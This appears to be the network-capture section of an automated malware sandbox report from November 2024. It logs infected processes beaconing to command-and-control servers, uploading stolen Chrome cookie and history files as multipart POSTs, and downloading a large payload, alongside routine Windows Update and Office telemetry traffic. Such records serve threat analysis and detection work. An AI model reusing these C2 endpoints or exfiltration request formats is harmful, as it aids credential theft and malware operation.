Nov 18, 2024 23:04:51.367964029 CET	1236	IN	Data Raw: 39 89 07 79 d6 8b ef 25 35 c5 9b b5 b5 95 cc a3 dd 8d 4f f0 9e 7d f5 fc e9 8c a2 5e 74 74 d4 e3 a0 7b 7f 0b 26 71 1c e3 95 3b fd a0 c5 fd ef a9 d7 8d 9d e7 33 a9 e9 a1 0d 97 cb ec 31 71 e5 69 eb f1 ff 79 9d 55 57 e2 f6 7c cb 8d b5 8b 1b a2 1d 98 Data Ascii: 9y%5O}^tt{&q;31qiyUW\|1K57;IcMqU%XA3EK7jPI[7)bZ5yDZ)ApA-u5oac5YW2H+8(eV9WFF^I#cMa
Nov 18, 2024 23:04:51.367974997 CET	1236	IN	Data Raw: eb f9 57 02 f1 4b fd fb c6 87 dc ef 21 82 f2 7b 56 73 c7 9b 97 f5 ee b1 34 f0 fd b5 22 19 80 f0 3d 71 07 a2 2f 74 5b 76 d3 49 1f f0 59 fd ae 7d e5 ea ad e5 28 61 5b 9c 85 91 eb 9b d4 d8 d6 5e d1 5a 03 7c c3 6c eb 62 7b ef fc 25 b5 1c a6 fd b5 8b Data Ascii: WK!{Vs4"=q/t[vIY}(a[^Z\|lb{%)qBC*~L-Sm'7I~Q,?ZEI@8m~%[d\|<OqafQ/87Mz1qCigzIZI17]+
Nov 18, 2024 23:04:51.367995977 CET	1236	IN	Data Raw: a4 13 b4 9b 04 b1 9e e9 c4 46 a9 68 ba 89 8f 82 04 fb 2d c5 d4 e2 28 df fe ee 01 26 08 49 cf c3 da 09 e0 3e 41 a8 56 36 dd 82 58 b9 81 c8 c2 a0 81 bb f5 e1 c4 5c 28 0b 97 a0 58 28 f7 65 29 66 b6 8e 1e 38 d5 98 6a d2 aa 34 d3 ac ac c2 ce 68 75 a6 Data Ascii: Fh-(&I>AV6X\(X(e)f8j4hu-FhJMu\P2dw#9\5nim/UMhuEg EvT3,A+8qeK 1*rui}/P/ ^z<kd lR\|^bT4Jo`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50052	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:51.889120102 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007256001&unit=246122658369
Nov 18, 2024 23:04:52.807499886 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50060	185.215.113.206	80	1228	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:53.643471956 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJ Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEGHJEGIEBFIJJKFIIIJ--
Nov 18, 2024 23:04:55.059937000 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 23:04:55.188136101 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 23:04:55.188170910 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 18, 2024 23:04:55.965898037 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 23:04:56.095072031 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file"------BFBKFHIDHIIJJKECGHCF--
Nov 18, 2024 23:04:56.875757933 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50061	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:54.450368881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 23:04:55.369050980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50063	62.76.234.151	80	432	C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:54.921996117 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 23:04:56.941447020 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 18 Nov 2024 22:04:56 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 18, 2024 23:04:56.941461086 CET	1236	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL9~%kkI3/
Nov 18, 2024 23:04:56.941473007 CET	424	IN	Data Raw: 28 b3 c9 7e 6c 68 3b ec 93 86 4d 1e d9 d3 f3 c8 e6 a0 74 e1 2b 10 e7 6f 14 0d e1 f9 96 26 70 76 d2 ab 2c 02 fc 94 ff b7 d2 7a 65 6c 80 36 fc 03 dd d3 0f a3 9a f2 c9 89 84 7e 6c 8d 4d 23 4b 8a 6c d4 62 41 d4 0d 8d 7f ce d7 b4 d2 f9 0e 8d e7 15 b3 Data Ascii: (~lh;Mt+o&pv,zel6~lM#KlbAR"6Y#\XAQrGDp:+ WT><\3.Zfmq4 ( \M4[ZZOY\[,=y$4g6%XN#L7=a@h6\50#
Nov 18, 2024 23:04:56.942383051 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 18, 2024 23:04:56.942418098 CET	212	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KD
Nov 18, 2024 23:04:56.943496943 CET	1236	IN	Data Raw: 7a b8 f5 f9 a9 42 e3 64 23 fd 43 95 22 8d 49 cc cc 6d 95 09 2c a0 73 62 0b ec 70 22 7c 89 49 d1 6f b1 ee 87 13 9d 15 78 60 d9 30 0f 94 f0 34 f7 12 38 30 2e 5c d4 4e 4b 95 2a c4 bb e4 88 b7 83 bd e5 14 cd 21 69 42 6d 55 66 5f 3e 61 c6 bc 7a 48 01 Data Ascii: zBd#C"Im,sbp"\|Iox`0480.\NK*!iBmUf_>azHk>9N:BA\|<Od^pJ6PZ1Y=ZF>H> Gh4@m?EGma0/v^ 'CB\|U<:8>nE
Nov 18, 2024 23:04:56.944025993 CET	212	IN	Data Raw: 1f f4 11 29 54 a0 6f dd af 7d 8e a5 b8 db 40 d6 4e de ba e1 56 ac 09 50 b4 1c 62 a0 71 ba ce 18 0a 5f cc 7b c1 43 2c d5 4c a3 c1 cf 7d 9d d1 85 ed 04 7c c8 d2 13 9c a7 99 f2 07 d8 27 eb bd 30 1f 23 97 10 7d 09 e1 d4 8c 99 18 a4 d7 5f 57 a7 3a d2 Data Ascii: )To}@NVPbq_{C,L}\|'0#}_W:i@Rc}/<y+S>,c7*UK"m~yQJMYHvnVr^"XlHDwramuOl
Nov 18, 2024 23:04:56.944926977 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 18, 2024 23:04:56.945053101 CET	212	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(
Nov 18, 2024 23:04:56.946597099 CET	1236	IN	Data Raw: 77 2e b5 41 cf 3f 6f 9d 7d b6 f6 de 27 53 c7 da 9f e7 14 1e 08 fa ae da 35 34 20 4e 39 9c 45 67 b5 aa 78 64 04 3d ad c6 f8 28 bf f8 d3 75 80 94 fa 49 8e 17 c3 79 91 3f 3f c3 5a bf 6b 4f 7b c0 19 00 44 92 4c 21 a0 0d 76 60 8a cd 09 1b fa 69 d4 58 Data Ascii: w.A?o}'S54 N9Egxd=(uIy??ZkO{DL!v`iX:l$.K5PT0?[s[-Bd'EE.DkJ\^A2AW7Y'eqA#A(pI>j>iB3l(Bs?9UA5Ihhg[C4\|_I~\|vaD
Nov 18, 2024 23:04:56.946846962 CET	212	IN	Data Raw: 30 be b5 2b ec 88 94 c9 a8 95 5d 60 35 dc 42 cf 31 45 5e b2 92 98 67 9e 8d 17 6f 96 c8 24 b2 8c a5 c0 4d 84 04 98 f0 24 44 1f 34 05 0c 6f 24 ee c0 15 79 0b 4e a0 2c e2 a7 03 bb 56 f4 35 45 81 46 22 7a cc 70 60 ce 12 ca 1b 27 ca fc ce 7f 4b a5 8d Data Ascii: 0+]`5B1E^go$M$D4o$yN,V5EF"zp`'KS0M_rW\C?.N(\|F\Q$juz"yMo.Lb%9KNXN4MB asC) nm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50065	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:56.927369118 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UnkCN63ESHfumrF&MD=aKhye6XM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 22:03:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e974ea0f-f423-4a8d-8774-af0bc371d95f MS-RequestId: b73713ea-d05f-4da6-8824-83c1d85c7539 MS-CV: UoiGHQpX60OVTL3z.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 22:03:17 GMT Connection: close Content-Length: 24490
2024-11-18 22:03:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 22:03:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:03:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:03:55 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:03:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220355Z-16547b76f7fr5rfnhC1DFW0am400000003sg00000000ywk3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:03:55 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 22:03:55 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
